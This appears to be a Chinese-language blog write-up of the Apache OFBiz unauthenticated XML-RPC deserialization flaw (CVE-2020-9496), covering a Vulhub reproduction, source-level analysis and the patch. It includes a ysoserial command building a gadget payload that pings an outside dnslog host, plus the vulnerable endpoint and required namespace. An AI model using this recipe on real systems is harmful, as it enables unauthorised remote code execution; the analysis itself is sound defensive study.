浅析Ofbiz反序列化漏洞(CVE-2020-9496)
/0x00 前言
学习学习。
0x01 基础知识
Apache Ofbiz简介
OFBiz是一个非常著名的电子商务平台,是一个非常著名的开源项目,提供了创建基于最新J2EE/XML规范和技术标准,构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类WEB应用系统的框架。 OFBiz最主要的特点是OFBiz提供了一整套的开发基于Java的web应用程序的组件和工具。包括实体引擎, 服务引擎, 消息引擎, 工作流引擎, 规则引擎等。
OFBiz 已经正式成为 Apache 的顶级项目: Apache OFBiz。
XML-RPC
简介
XML-RPC是一个规范和一组实现,允许软件在不同的操作系统上运行,在不同的环境中运行以通过网络进行过程调用。
XML-RPC是使用 HTTP 作为传输和 XML 作为编码的远程过程调用。XML-RPC 被设计得尽可能简单,同时允许传输、处理和返回复杂的数据结构。
XML-RPC请求与数据类型
- XML-RPC请求响应相关内容具体参考:http://xmlrpc.com/spec.md
- XML-RPC数据类型具体参考:https://ws.apache.org/xmlrpc/types.html
这里只看和PoC中构造相关的内容。
XML-RPC请求示例:
1 | POST /RPC2 HTTP/1.0 |
简单说明:
- XML-RPC请求的Content-Type为
text/xml
; - XML-RPC请求内容的根标签为
<methodCall>
,而该标签下必须有<methodName>
子标签来指定调用的方法名; - 如果过程调用有参数,
<methodCall>
必须包含一个<params>
子标签,<params>
子标签可以包含任意数量的<param>
,每个都有一个<value>
标签来指定参数值内容; - 其中
<value>
标签中的参数值默认为string类型,可以指定<struct>
类型子标签、其中包含<member>
并且每个<member>
包含一个<name>
和一个<value>
;
如果XML-RPC服务端设置了enabledForExtensions,那么就支持附加的数据类型,其中包括<serializable>
标签,其中的内容为一个对象被转换为序列化的表示形式并作为Base64编码的字节数组。
0x02 漏洞原理
在17.12.04之前版本的Ofbiz中,其中的未授权访问XMLRPC接口/webtools/control/xmlrpc
存在反序列化漏洞,攻击者可通过该接口实现RCE。
0x03 影响版本
< 17.12.04
0x04 环境搭建
参考Vulhub:https://vulhub.org/#/environments/ofbiz/CVE-2020-9496/
0x05 漏洞复现
使用ysoserial生成payload:
1 | java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "ping -nc 1 ofbiz.xudce2.dnslog.cn" | base64 | tr -d "\n" |
向/webtools/control/xmlrpc
接口发送payload,base64-payload换为生成的payload内容:
1 | POST /webtools/control/xmlrpc HTTP/1.1 |
冲:
0x06 漏洞分析
根据漏洞接口/webtools/control/xmlrpc
找到webtools应用目录。
先看到配置文件framework/webtools/webapp/webtools/WEB-INF/web.xml
,其中设置了enabledForExtensions为true来使得XML-RPC支持<serializable>
这种标签进行Java序列化数据的传输:
而其中看到针对/control/
接口的处理是由org.apache.ofbiz.webapp.control.ControlServlet
来操作的:
到ControlServlet类中,看到doPost()实际调用的就是doGet()、其中先调用getRequestHandler()函数来初始化org\apache\ofbiz\webapp\control\RequestHandler
类,而RequestHandler类在初始化时会从/WEB-INF/controller.xml
配置文件中获取控制器URL配置即请求URL映射表,然后设置对应的ViewFactory和EventFactory:
到/WEB-INF/controller.xml
中查看,对应xmlrpc URI的URL配置中,在<security>
标签中并没有设置对应的auth
选项、默认为false
即不需要身份验证,这就导致了本次未授权RCE的存在:
回到doGet()函数中,往下会调用刚刚新建的RequestHandler类对象的doRequest()函数进一步处理请求,其中会调用runEvent()函数来根据Event类型调用对应EventHandler的invoke()函数,这里实际调用就是前面初始化RequestHandler类对象时设置的XmlRpcEventHandler的invoke()函数、其中先调用getXmlRpcConfig()函数获取XmpRpc相关配置(开启enabledForExtensions)、然后再调用execute()函数作进一步处理:
跟进去,其中调用getRequest()函数来获取XmlRpcRequest类实例,在getRequest()函数中则是通过设置XmlRpcRequestParser作为ContentHandler,然后在解析前对XXE进行了防御:
往下,就是采用SAX的方式来解析XML内容的过程了,调用过程大致为:SAXParserImpl类parse()->XML11Configuration类parse()->XMLDocumentFragmentScannerImpl类scanDocument()->XMLDocumentScannerImpl#PrologDispatcher类dispatch(),在dispatch()中触发扫描XML内容。
其中具体的扫描解析过程这里不多说,直接看到后面是会调用之前设置的ContentHandler.startElement()即XmlRpcRequestParser.startElement()来开始扫描元素、其支持对methodCall、methodName、params、param、value等标签的解析,如果非上述标签则调用父类RecursiveTypeParserImpl.startElement()来进行解析、其中由于typeParser类型解析器为空会调用到getParser()函数来获取对应的解析器进行元素解析:
这里是调用的TypeFactoryImpl类的getParser()函数来根据标签类型获取对应的解析器。这里只关注看到本次漏洞关键的serializable标签的部分即可,在解析过程中识别到是serializable标签就会返回SerializableParser(当然,在getParser()函数中看到获取到SerializableParser前需要满足一个前提条件即xmlns必须为http://ws.apache.org/xmlrpc/namespaces/extensions
,这就是为啥构造PoC的serializable标签要带上含有该属性值的原因):
跟进SerializableParser中,由于解析获取完serializable标签的内容后,会调用该类的getResult()函数来获取解析结果,而该函数中会直接调用readObject()进行反序列化操作,从而导致反序列化漏洞的存在:
至此,大致触发流程就分析完了。
0x07 补丁分析
就是给该/webtools/control/xmlrpc
接口添加了认证,杜绝了未授权RCE: